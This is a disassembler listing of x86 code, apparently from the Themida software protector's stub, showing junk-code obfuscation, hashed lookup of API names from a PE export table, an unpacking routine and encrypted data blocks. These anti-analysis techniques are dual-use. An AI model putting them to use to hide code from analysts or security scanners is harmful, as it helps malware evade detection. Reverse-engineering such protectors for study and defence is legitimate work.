		pusha
		pusha
		mov	di, 62CEh
		sbb	cx, 0CB8Fh
		popa
		xor	ebx, 337F0CB4h
		popa
		pop	eax
		jge	loc_57D64A
		clc


loc_57D64A:				; CODE XREF: sub_57D567+DCj
		jmp	loc_57D659
; ---------------------------------------------------------------------------
		db 1Dh
		dd 0D84269D0h, 525D54E9h
		db 0DEh
; ---------------------------------------------------------------------------


loc_57D659:				; CODE XREF: sub_57D567:loc_57D64Aj
		mov	esi, [eax+78h]
		pusha
		xor	edi, 11F5A098h
		or	ecx, 563F61D2h
		popa
		add	esi, 1Ch
		jmp	loc_57D685
; ---------------------------------------------------------------------------
		dw 0C141h
		dd 3EE04623h, 42C89BB2h, 0D53E0D41h, 91C95AC2h
		db 0E9h
; ---------------------------------------------------------------------------


loc_57D685:				; CODE XREF: sub_57D567+106j
		add	esi, [esp+24h]
		jmp	loc_57D696
; ---------------------------------------------------------------------------
		dw 0C69Eh
		dd 0D31BF1A4h
		db 44h,	81h
; ---------------------------------------------------------------------------


loc_57D696:				; CODE XREF: sub_57D567+122j
		lea	edi, [ebp+61521D9h]
		cld
		lodsd
		jns	loc_57D6BA
		jmp	loc_57D6BA
; ---------------------------------------------------------------------------
		db 0BBh, 0AEh, 0E0h
		dd 53678D6h, 0CD1E267Ah, 1EB2130Fh
		db 21h,	1Ch
; ---------------------------------------------------------------------------


loc_57D6BA:				; CODE XREF: sub_57D567+137j
					; sub_57D567+13Dj
		add	eax, [esp+24h]
		jmp	loc_57D6D1
; ---------------------------------------------------------------------------
		db 0D3h
		dd 99DEB772h, 0BA1B9203h, 0C33C5073h
		db 8Dh
; ---------------------------------------------------------------------------


loc_57D6D1:				; CODE XREF: sub_57D567+157j
		stosd
		stc
		jp	loc_57D6E7
		jmp	loc_57D6E7
; ---------------------------------------------------------------------------
		dw 8E69h
		dd 1E7A8D5Ah
		db 0F9h, 28h, 42h
; ---------------------------------------------------------------------------


loc_57D6E7:				; CODE XREF: sub_57D567+16Cj
					; sub_57D567+172j
		lea	edi, [ebp+615186Dh]
		or	[ebp+6151659h],	esi
		lodsd
		pusha
		or	[ebp+6150A61h],	edi
		mov	[ebp+6150929h],	ebx
		popa
		add	eax, [esp+24h]
		clc
		push	eax
		jg	loc_57D716
		pusha
		jnz	$+6
		popa


loc_57D716:				; CODE XREF: sub_57D567+1A1j
		mov	[esp+24h+var_24], eax
		jmp	loc_57D732
; ---------------------------------------------------------------------------
		dw 5DFEh
		dd 718D5B44h, 0D9BBDD0h, 827FC900h, 0B3493F85h
		db 86h,	9Fh
; ---------------------------------------------------------------------------


loc_57D732:				; CODE XREF: sub_57D567+1B2j
		stosd
		stc
		lea	edi, [ebp+6153021h]
		cmc
		lodsd
		mov	[ebp+6150A61h],	ebx
		add	eax, [esp+28h]
		pusha
		pusha
		mov	[ebp+6151061h],	edi
		jp	$+6
		popa
		mov	esi, 2B0310F5h
		popa
		stosd
		jz	loc_57D776
		jmp	loc_57D776
; ---------------------------------------------------------------------------
		db 0DBh
		dd 0D31268D8h, 60E3FEEDh, 83397522h
		db 0A3h, 7Eh
; ---------------------------------------------------------------------------


loc_57D776:				; CODE XREF: sub_57D567+1F5j
					; sub_57D567+1FBj
		pop	esi
		clc
		jmp	loc_57D78A
; ---------------------------------------------------------------------------
		db 6Ch,	75h, 0E3h
		dd 4359F9A1h, 0A3210F2Bh
		db 94h,	36h
; ---------------------------------------------------------------------------


loc_57D78A:				; CODE XREF: sub_57D567+211j
					; sub_57D567+2AFj
		dec	dword ptr [ebp+6153B2Eh]
		cmp	dword ptr [ebp+6153B2Eh], 0
		jnz	short loc_57D7A9
		mov	[esp+20h+var_4], 0
		lea	esi, [ebp+615400Bh]
		jmp	esi
; ---------------------------------------------------------------------------


loc_57D7A9:				; CODE XREF: sub_57D567+230j
		push	esi
		lodsd
		add	eax, [esp+28h]
		xchg	eax, edi
		mov	ebx, edi
		mov	al, [ebp+61509C5h]
		test	al, al
		jz	short loc_57D7C0
		cmp	al, [edi]
		jnz	short loc_57D80C


loc_57D7C0:				; CODE XREF: sub_57D567+253j
		push	edi
		xor	al, al


loc_57D7C3:				; CODE XREF: sub_57D567+25Dj
		scasb
		jnz	short loc_57D7C3
		pop	esi
		sub	edi, ebx
		push	edx
		cld
		xor	ecx, ecx
		dec	ecx
		mov	edx, ecx


loc_57D7D0:				; CODE XREF: sub_57D567+292j
		xor	eax, eax
		xor	ebx, ebx
		lodsb
		xor	al, cl
		mov	cl, ch
		mov	ch, dl
		mov	dl, dh
		mov	dh, 8


loc_57D7DF:				; CODE XREF: sub_57D567+28Bj
		shr	bx, 1
		rcr	ax, 1
		jnb	short loc_57D7F0
		xor	ax, 5041h
		xor	bx, 5449h


loc_57D7F0:				; CODE XREF: sub_57D567+27Ej
		dec	dh
		jnz	short loc_57D7DF
		xor	ecx, eax
		xor	edx, ebx
		dec	edi
		jnz	short loc_57D7D0
		not	edx
		not	ecx
		mov	eax, edx
		rol	eax, 10h
		mov	ax, cx
		pop	edx
		cmp	edx, eax
		jz	short loc_57D81B


loc_57D80C:				; CODE XREF: sub_57D567+257j
		pop	esi
		add	esi, 4
		inc	dword ptr [ebp+6150A5Dh]
		jmp	loc_57D78A
; ---------------------------------------------------------------------------


loc_57D81B:				; CODE XREF: sub_57D567+2A3j
		pop	esi
		pusha
		mov	esi, [ebp+6152959h]
		add	esi, [ebp+6150681h]
		popa
		jge	loc_57D83A
		pusha
		pusha
		popa
		xor	esi, [ebp+6152ED5h]
		popa


loc_57D83A:				; CODE XREF: sub_57D567+2C3j
		pusha
		mov	ecx, edi
		pusha
		jmp	loc_57D84F
; ---------------------------------------------------------------------------
		align 4
		dd 77DA2B70h, 0EDF8014Eh
		db 45h,	0F7h, 70h
; ---------------------------------------------------------------------------


loc_57D84F:				; CODE XREF: sub_57D567+2D7j
		call	sub_57D865
		xchg	eax, edi
		in	al, 4Bh
		retf
sub_57D567	endp

; ---------------------------------------------------------------------------
		dd 0D9D3DE31h, 6E43C6C7h, 77992A81h
		db 0C7h

; =============== S U B	R O U T	I N E =======================================



sub_57D865	proc near		; CODE XREF: sub_57D567:loc_57D84Fp

arg_5C		= dword	ptr  60h
arg_64		= dword	ptr  68h

		pop	edx
		popa
		popa
		mov	eax, [ebp+6150A5Dh]
		jbe	loc_57D87A
		mov	[ebp+6152809h],	edx


loc_57D87A:				; CODE XREF: sub_57D865+9j
		shl	eax, 1
		jmp	loc_57D889
; ---------------------------------------------------------------------------
		sbb	ch, [ecx-0Ch]
		ror	dword ptr [edi], cl
		cmp	[ebp+5Bh], eax


loc_57D889:				; CODE XREF: sub_57D865+17j
		add	eax, [ebp+6153021h]
		cmc
		mov	esi, 0
		xor	[ebp+61504BDh],	edx
		xchg	eax, esi
		ja	loc_57D8A8
		or	[ebp+6152799h],	edi


loc_57D8A8:				; CODE XREF: sub_57D865+37j
		lodsw
		jbe	loc_57D8B6
		mov	[ebp+6150D8Dh],	esi


loc_57D8B6:				; CODE XREF: sub_57D865+45j
		shl	eax, 2
		pusha
		mov	[ebp+6152AF5h],	ecx
		mov	[ebp+61524A1h],	esi
		popa
		add	eax, [ebp+61521D9h]
		pusha
		jnp	loc_57D8D8
		mov	dx, 762Eh


loc_57D8D8:				; CODE XREF: sub_57D865+69j
		sub	[ebp+6151E7Dh],	eax
		popa
		xchg	eax, esi
		jmp	loc_57D8EF
; ---------------------------------------------------------------------------
		align 2
		dw 0EBD1h
		dd 7A079A60h
		db 0A0h, 3Ah, 0DCh
; ---------------------------------------------------------------------------


loc_57D8EF:				; CODE XREF: sub_57D865+7Bj
		lodsd
		jnp	loc_57D8F7
		cmc


loc_57D8F7:				; CODE XREF: sub_57D865+8Bj
		mov	ecx, [esp-44h+arg_64]
		mov	[ebp+615301Dh],	ebx
		add	eax, [esp-44h+arg_64]
		jge	loc_57D911
		xor	[ebp+6150CEDh],	esi


loc_57D911:				; CODE XREF: sub_57D865+A0j
		mov	[esp-44h+arg_5C], eax
		or	[ebp+615245Dh],	edi
		pusha
		add	[ebp+6150C65h],	ebx
		mov	ax, bx
		popa
		xchg	eax, esi
		jmp	loc_57D932
; ---------------------------------------------------------------------------
		dd 3803DF8Dh
		db 0C2h, 1Fh
; ---------------------------------------------------------------------------


loc_57D932:				; CODE XREF: sub_57D865+C2j
		lodsb
		ja	loc_57D952
		jb	loc_57D952
		jmp	loc_57D952
; ---------------------------------------------------------------------------
		dd 0DEB772D3h, 1B920399h, 3C5073BAh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 8Dh
; ---------------------------------------------------------------------------


loc_57D952:				; CODE XREF: sub_57D865+CEj
					; sub_57D865+D4j ...
		xor	cl, cl
		mov	[ebp+61504EDh],	edi
		inc	cl
		mov	[ebp+6153371h],	esi
		pusha
		jb	loc_57D96A
		stc


loc_57D96A:				; CODE XREF: sub_57D865+FEj
		call	near ptr loc_57D974+6
		mov	al, ds:30D11746h


loc_57D974:				; CODE XREF: sub_57D865:loc_57D96Ap
		fisttp	word ptr [ecx-7649E80Bh]
sub_57D865	endp ; sp-analysis failed

		popf
		lds	esp, [eax]
		adc	eax, 0D0615A06h	; CODE XREF: Themida_:0057D9D9j
		ror	byte ptr [edi],	1
		xor	dword ptr [eax-77000000h], 0FFFFFF8Dh
		xchg	eax, ecx
		sub	eax, 81600615h
		out	dx, eax
		rep call far ptr 75h:958B6D9Ch
		adc	eax, 0D0D06106h
		jnb	loc_57DA3A
		jmp	loc_57D9B0
; ---------------------------------------------------------------------------
		db 89h
		dd 77BBE307h
; ---------------------------------------------------------------------------


loc_57D9B0:				; CODE XREF: Themida_:0057D9A6j
		rcl	al, 1
		jb	loc_57DA3A
		mov	[ebp+61505DDh],	esi
		rcl	al, 1
		jb	loc_57DA3A
		jp	loc_57D9D7
		jmp	loc_57D9D7
; ---------------------------------------------------------------------------
		align 2
		dw 0A03Ah
		db 0FAh, 62h, 0BEh
; ---------------------------------------------------------------------------


loc_57D9D7:				; CODE XREF: Themida_:0057D9C6j
					; Themida_:0057D9CCj
		dec	cl
		jns	near ptr loc_57D97E+4
		cld
		add	esp, 20h
		jmp	loc_57D9EF
; ---------------------------------------------------------------------------
		dd 44413BB4h
		db 0CFh, 76h, 3Ah
; ---------------------------------------------------------------------------


loc_57D9EF:				; CODE XREF: Themida_:0057D9E3j
		sub	[ebp+615301Dh],	esi
		mov	dword ptr [esp-4], 0
		mov	[ebp+6152109h],	edi
		ja	loc_57DA0F
		mov	[ebp+6152F45h],	edi


loc_57DA0F:				; CODE XREF: Themida_:0057DA03j
		mov	eax, 1
		jbe	loc_57DA26
		jbe	loc_57DA26
		xor	[ebp+615046Dh],	esi


loc_57DA26:				; CODE XREF: Themida_:0057DA14j
					; Themida_:0057DA1Aj
		lea	ecx, [ebp+615720Dh]
		mov	[ebp+615023Dh],	ecx
		jmp	ecx
; ---------------------------------------------------------------------------
		mov	[ebp+6150ADDh],	edi


loc_57DA3A:				; CODE XREF: Themida_:0057D9A0j
					; Themida_:0057D9B2j ...
		mov	byte ptr [ebp+61509C5h], 0
		jmp	loc_57DA4B
; ---------------------------------------------------------------------------
		dw 85F7h
		db 12h,	8Eh, 0CDh
; ---------------------------------------------------------------------------


loc_57DA4B:				; CODE XREF: Themida_:0057DA41j
		popa
		add	[ebp+6150669h],	ebx
		retn	8
; ---------------------------------------------------------------------------
		db 0F5h, 89h, 85h
		dd 615291Dh
dword_57DA5C	dd 12840F50h, 50000000h, 0F525052h, 0F585A31h, 0F525031h
					; DATA XREF: Themida_:0057B3D4o
		dd 5A585A31h, 24348958h, 1315B589h, 0B5890615h,	615421Dh
		dd 308D89F5h, 9061542h,	152DE18Dh, 0C2B58D06h, 29061540h
		dd 152335B5h, 0E850F06h, 60000000h, 4018589h, 858B0615h
		dd 6151E81h, 0A1858D61h, 89005B8Eh, 152235BDh, 0FD0FF06h
		dd 18Fh, 605EF800h, 28C0Fh, 0D78A0000h,	2EC58D8Bh, 89610615h
		dd 1527759Dh, 8160C306h, 0EE7F21C8h, 6E949h, 0E7250000h
		dd 0B6837656h, 1DB58B61h, 89061542h, 1504BDBDh,	308D8B06h
		dd 9061542h, 1508DDB5h,	0B806h,	8D290000h, 6152CF5h, 8531D98Bh
		dd 6151E91h, 10AE9h, 8EBB6000h,	6065EEC0h, 727BBE66h, 26FD8D29h
		dd 61610615h, 9E92632h,	0A2000000h, 679504D0h, 49DD0A99h
		dd 0E9FC02B2h, 89h, 24B19589h, 0C2320615h, 10E9h, 5C539200h
		dd 82608308h, 0D39824D0h, 178EFCD3h, 0BF0F6049h, 2D41BFFAh
		dd 56117ADh, 8A751D7Ah,	18B58D29h, 0CC8A0615h, 2A5D8529h
		dd 0D3F80615h, 0E850FC8h, 60000000h, 175D8D09h,	858B0615h
		dd 6152F55h, 8423561h, 800F98D1h, 0Ch, 6860Fh, 0BD310000h
		dd 6150A45h, 7E9CAFEh, 3F000000h, 0F28A5F9Ch, 830FEA97h
		dd 0Dh,	8E9h, 0A917EE00h, 85DA0120h, 0FD20A07h,	0FFFF7585h
		dd 0AE9FFh, 1E40000h, 9505B3B6h, 68312D3Eh, 60FC8A60h
		dd 8A0Fh, 61610000h, 13E94Bh, 96EA0000h, 36BB74DAh, 6AC3A376h
		dd 2376B6CAh, 7737780Dh, 0F604625h, 68Ch, 22DF8100h, 605DFEE9h
		dd 891ADA80h, 152FFD8Dh, 0B616106h, 1850FDBh, 0E9FFFFFFh
		dd 8, 7A370505h, 0FCFCE970h, 6E9CFh, 5D350000h,	0F0A14809h
		dd 0FC0000h, 0BD896000h, 6151CA5h, 0A399523h, 610615h
		dd 0E5850900h, 61511h
		db 0, 0F9h
; ---------------------------------------------------------------------------


loc_57DC6A:				; CODE XREF: Themida_:loc_57D561j
		lea	eax, [ebp+6153B38h]
		jmp	loc_57DC7F
; ---------------------------------------------------------------------------
		db 81h,	67h, 45h
; ---------------------------------------------------------------------------
		mov	ecx, 0D4C496ECh
		fdivr	dword ptr [ebx]


loc_57DC7F:				; CODE XREF: Themida_:0057DC70j
		mov	[ebp+6150D7Dh],	eax
		add	[ebp+6151765h],	edx
		lea	eax, [ebp+615402Dh]
		pusha
		mov	eax, ecx
		adc	di, 9DCh
		popa
		jmp	loc_57DCAC
; ---------------------------------------------------------------------------
		db 0C9h
		dd 0D950F6C7h, 606EE056h, 755817C7h
; ---------------------------------------------------------------------------


loc_57DCAC:				; CODE XREF: Themida_:0057DC9Aj
		mov	[ebp+61519A5h],	eax
		jmp	short loc_57DCC8
; ---------------------------------------------------------------------------
		dd 4 dup(0)
		dd 0E2h
; ---------------------------------------------------------------------------


loc_57DCC8:				; CODE XREF: Themida_:0057DCB2j
		lea	eax, [ebp+6154351h]
		mov	[ebp+615281Dh],	eax
		cmp	dword ptr [ebp+6154291h], 0
		jz	loc_57DE0D
		mov	byte ptr [ebp+61509C5h], 56h
		push	8B63565Ah
		add	dword ptr [esp], 48BC16DFh
		push	dword ptr [ebp+6151685h]
		lea	eax, [ebp+6153B38h]
		call	eax
		mov	[ebp+6154285h],	eax
		mov	byte ptr [ebp+61509C5h], 56h
		push	0BA9045B1h
		xor	dword ptr [esp], 2638FDE3h
		push	dword ptr [ebp+6151685h]
		lea	eax, [ebp+6153B38h]
		call	eax
		mov	[ebp+6154289h],	eax
		push	4
		call	sub_57DD3A
		add	[eax], dl
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_57DD3A	proc near		; CODE XREF: Themida_:0057DD31p

var_126		= dword	ptr -126h
var_11E		= dword	ptr -11Eh
var_11A		= dword	ptr -11Ah
var_116		= dword	ptr -116h
var_112		= dword	ptr -112h
var_10E		= dword	ptr -10Eh
var_10A		= dword	ptr -10Ah
var_106		= dword	ptr -106h
var_102		= dword	ptr -102h
var_FE		= dword	ptr -0FEh
var_F8		= dword	ptr -0F8h
var_F4		= dword	ptr -0F4h
var_F0		= dword	ptr -0F0h
var_EC		= dword	ptr -0ECh
var_E8		= dword	ptr -0E8h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D4		= dword	ptr -0D4h
var_D0		= dword	ptr -0D0h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_46		= dword	ptr -46h
var_42		= dword	ptr -42h
var_3E		= dword	ptr -3Eh
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_32		= dword	ptr -32h
var_2E		= dword	ptr -2Eh
var_2A		= dword	ptr -2Ah
var_26		= dword	ptr -26h
var_22		= dword	ptr -22h
var_1E		= dword	ptr -1Eh
var_1A		= dword	ptr -1Ah
var_16		= dword	ptr -16h
var_12		= dword	ptr -12h
var_E		= dword	ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_6		= dword	ptr  0Ah
arg_A		= dword	ptr  0Eh
arg_E		= dword	ptr  12h
arg_12		= dword	ptr  16h
arg_16		= dword	ptr  1Ah
arg_1A		= dword	ptr  1Eh
arg_1E		= dword	ptr  22h
arg_22		= dword	ptr  26h
arg_26		= dword	ptr  2Ah
arg_2A		= dword	ptr  2Eh
arg_2E		= dword	ptr  32h
arg_32		= dword	ptr  36h
arg_38		= dword	ptr  3Ch
arg_33FB0015	= byte ptr  33FB0019h

		push	eax
		mov	eax, [esp+4]
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		mov	eax, [ebp+6154295h]
		add	eax, 1F4h
		shl	eax, 2
		push	eax
		mov	[esp+4+var_4], eax
		push	0
		call	dword ptr [ebp+6154289h]
		mov	[ebp+615428Dh],	eax
		mov	ebx, eax
		mov	eax, 0FFFFFFFFh
		call	dword ptr [ebp+615281Dh]
		mov	eax, ebx
		call	dword ptr [ebp+615281Dh]
		jmp	loc_57DE0D
; ---------------------------------------------------------------------------


loc_57DD80:				; DATA XREF: Themida_:0057C24Co
		cmp	dword ptr [ebp+6154291h], 0
		jnz	loc_57DD8E
		retn
; ---------------------------------------------------------------------------


loc_57DD8E:				; CODE XREF: sub_57DD3A+4Dj
		push	edi
		mov	edi, [ebp+615428Dh]
		stosd
		add	dword ptr [ebp+615428Dh], 4
		pop	edi
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+6154291h], 0
		jnz	loc_57DDAD
		retn
; ---------------------------------------------------------------------------


loc_57DDAD:				; CODE XREF: sub_57DD3A+6Cj
		pusha
		sub	dword ptr [ebp+615428Dh], 4


loc_57DDB5:				; CODE XREF: sub_57DD3A:loc_57DE08j
		mov	ebx, [ebp+615428Dh]
		cmp	dword ptr [ebx-4], 0FFFFFFFFh
		jnz	loc_57DDE2
		push	8FDAB66Eh
		add	[esp+2Ch+var_2E+2], 7025C992h
		push	0
		push	dword ptr [ebx]
		call	dword ptr [ebp+6154285h]
		popa
		retn
; ---------------------------------------------------------------------------
		jmp	loc_57DE08
; ---------------------------------------------------------------------------


loc_57DDE2:				; CODE XREF: sub_57DD3A+85j
		call	near ptr loc_57DDE7+4


loc_57DDE7:				; CODE XREF: sub_57DD3A:loc_57DDE2p
		add	[eax-74B00000h], al
		inc	esp
		and	al, 4
		mov	eax, [eax]
		mov	[esp+24h+var_22+2], eax
		pop	eax
		push	0
		push	dword ptr [ebx]
		call	dword ptr [ebp+6154285h]
		sub	dword ptr [ebp+615428Dh], 4


loc_57DE08:				; CODE XREF: sub_57DD3A+A3j
		jmp	loc_57DDB5
; ---------------------------------------------------------------------------


loc_57DE0D:				; CODE XREF: Themida_:0057DCDBj
					; sub_57DD3A+41j
		dec	eax
		jmp	loc_57DFC0
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+28h+var_4]
		mov	edi, [esp+28h]
		cld
		mov	dl, 80h


loc_57DE1F:				; CODE XREF: sub_57DD3A:loc_57DE37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_57DE2A:				; CODE XREF: sub_57DD3A+17Bj
					; sub_57DD3A+1E3j ...
		add	dl, dl
		jnz	loc_57DE37
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_57DE37:				; CODE XREF: sub_57DD3A+F2j
		jnb	loc_57DE1F
		add	dl, dl
		jnz	loc_57DE4A
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_57DE4A:				; CODE XREF: sub_57DD3A+105j
		jnb	loc_57DEBA
		xor	eax, eax
		add	dl, dl
		jnz	loc_57DE5F
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_57DE5F:				; CODE XREF: sub_57DD3A+11Aj
		jnb	loc_57DF8F
		add	dl, dl
		jnz	loc_57DE72
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_57DE72:				; CODE XREF: sub_57DD3A+12Dj
		adc	eax, eax
		add	dl, dl
		jnz	loc_57DE81
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_57DE81:				; CODE XREF: sub_57DD3A+13Cj
		adc	eax, eax
		add	dl, dl
		jnz	loc_57DE90
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_57DE90:				; CODE XREF: sub_57DD3A+14Bj
		adc	eax, eax
		add	dl, dl
		jnz	loc_57DE9F
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_57DE9F:				; CODE XREF: sub_57DD3A+15Aj
		adc	eax, eax
		jz	loc_57DEAD
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_57DEAD:				; CODE XREF: sub_57DD3A+167j
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	loc_57DE2A
; ---------------------------------------------------------------------------


loc_57DEBA:				; CODE XREF: sub_57DD3A:loc_57DE4Aj
		mov	eax, 1


loc_57DEBF:				; CODE XREF: sub_57DD3A:loc_57DEDBj
		add	dl, dl
		jnz	loc_57DECC
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_57DECC:				; CODE XREF: sub_57DD3A+187j
		adc	eax, eax
		add	dl, dl
		jnz	loc_57DEDB
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_57DEDB:				; CODE XREF: sub_57DD3A+196j
		jb	loc_57DEBF
		sub	eax, ebx
		mov	ebx, 1
		jnz	loc_57DF22
		mov	ecx, 1


loc_57DEF3:				; CODE XREF: sub_57DD3A:loc_57DF0Fj
		add	dl, dl
		jnz	loc_57DF00
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_57DF00:				; CODE XREF: sub_57DD3A+1BBj
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_57DF0F
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_57DF0F:				; CODE XREF: sub_57DD3A+1CAj
		jb	loc_57DEF3
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_57DE2A
; ---------------------------------------------------------------------------


loc_57DF22:				; CODE XREF: sub_57DD3A+1AEj
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_57DF30:				; CODE XREF: sub_57DD3A:loc_57DF4Cj
		add	dl, dl
		jnz	loc_57DF3D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_57DF3D:				; CODE XREF: sub_57DD3A+1F8j
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_57DF4C
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_57DF4C:				; CODE XREF: sub_57DD3A+207j
		jb	loc_57DF30
		cmp	eax, 7D00h
		jnb	loc_57DF7F
		cmp	eax, 500h
		jb	loc_57DF76
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_57DE2A
; ---------------------------------------------------------------------------


loc_57DF76:				; CODE XREF: sub_57DD3A+228j
		cmp	eax, 7Fh
		ja	loc_57DF82


loc_57DF7F:				; CODE XREF: sub_57DD3A+21Dj
		add	ecx, 2


loc_57DF82:				; CODE XREF: sub_57DD3A+23Fj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_57DE2A
; ---------------------------------------------------------------------------


loc_57DF8F:				; CODE XREF: sub_57DD3A:loc_57DE5Fj
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	loc_57DFB4
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_57DE2A
; ---------------------------------------------------------------------------


loc_57DFB4:				; CODE XREF: sub_57DD3A+25Dj
		sub	edi, [esp+28h]
		mov	[esp+28h+var_E+2], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_57DFC0:				; CODE XREF: sub_57DD3A+D4j
		mov	edx, 929h
		jmp	loc_57E99D
; ---------------------------------------------------------------------------
		dw 2BE7h
		dd 9488BE95h, 5A199A8Eh, 0D20FEFEDh, 5E14CCAAh,	0F50720F8h
		dd 7D5C11A6h, 0CF36F42Ch, 0DBAC13Eh, 0D683B395h, 4D0B9282h
		dd 0C01EBCBFh, 151B89ADh, 0FF774397h, 7C4105ACh, 0CF36A620h
		dd 0EB5C73Ch, 0D699B395h, 52118F9Dh, 0DE02A2BFh, 1B0F9EB6h
		dd 0B34320FCh, 6D4101BBh, 8137F46Dh, 18A1C729h,	999FAA95h
		dd 521F8F9Ch, 0B1h, 62h	dup(0)
		dd 2BE70000h, 9882B795h, 4D118992h, 0DC15BFBFh,	56179EBEh
		dd 0E04626BDh, 7C5706E9h, 0CE25A662h, 4AB0C625h, 9883AFC7h
		dd 1F199392h, 0CA47A1F6h, 1B0499B6h, 0E75437EEh, 131C09ACh
		dd 0C42FD601h, 46B1DB31h, 9A83AF95h, 1F1A9C94h,	0D547BBF6h
		dd 1B1B83ABh, 0FC4A2BF0h, 78121DBBh, 0D363E262h, 0BA0DB35h
		dd 8FCDAEC7h, 1F0C8894h, 0D408BDEFh, 151B8DABh,	48h dup(0)
		dd 2BE70000h, 979FB995h, 4D1B9698h, 0C747BCB8h,	1B1A83B6h
		dd 0B3542FF5h, 775701ABh, 0D42CE02Ch, 18F4CC3Eh, 9F83B4C0h
		dd 565E9A95h, 0DC1EEFF1h, 48569EACh, 0F6533DE4h, 14384AA4h
		dd 0C026EA5Ch, 4AF8CD23h, 9981B4C0h, 565E999Ah,	0C101EFEBh
		dd 565681B6h, 0E14823F8h, 775344B0h, 0C431A668h, 18B5DC23h
		dd 9994FAC1h, 4F5E8F8Eh, 0C100A0EDh, 5881B8h, 61h dup(0)
		dd 2CE70000h, 0D688B6DCh, 4D0C9298h, 0D613BFEAh, 1B58CDBDh
		dd 0E04E26C9h, 764014E9h, 0CC22F46Bh, 19B5C070h, 9388B895h
		dd 5E13DD95h, 0C617A6F1h, 5E028DB5h, 0FD466EF9h, 785F44ADh
		dd 0AB26E475h, 4DA0C15Dh, 9884FAC6h, 4B1D989Dh,	0D147ABFAh
		dd 1B17CCA0h, 0E65527CBh, 6B5D44BAh, 0C031E52Ch, 0EB1C333h
		dd 9EB9FA9Bh, 595E8E92h, 9302A3F6h, 1C1883AEh, 0FC506EE9h
		dd 78120FBBh, 0CE2EFF62h, 0FACD22h, 0E0h dup(0)
		dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0)
aExitStatusD	db 'Exit Status = %d',0
		align 4
		dd 0
		db 0
; ---------------------------------------------------------------------------


loc_57E99D:				; CODE XREF: sub_57DD3A+28Bj
		jmp	loc_58159B
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	loc_57E9AD
		and	[eax-3Dh], bl


loc_57E9AD:				; CODE XREF: sub_57DD3A+C6Bp
		pop	eax
		mov	[esp+8+var_4], eax
		add	[esp+8+var_4], 15h
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		fist	dword ptr [edi]
		jmp	loc_57E9CD
; ---------------------------------------------------------------------------
		dd 952AD556h, 65F7A0EDh
		db 86h
; ---------------------------------------------------------------------------


loc_57E9CD:				; CODE XREF: sub_57DD3A+C85j
		cld
		mov	[ebp+61500F9h],	edx
		mov	eax, eax
		mov	[ebp+61520CDh],	edx
		mov	dl, 7Dh
		cmp	dword ptr [ebp+61508F5h], 0
		jnz	short loc_57E9F0
		cmp	dword ptr [ebp+61503ADh], 0
		jz	short loc_57EA03


loc_57E9F0:				; CODE XREF: sub_57DD3A+CABj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 1
		lea	ebx, [ebp+617A940h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_57EA03:				; CODE XREF: sub_57DD3A+CB4j
		cmp	dword ptr [ebp+61503ADh], 0
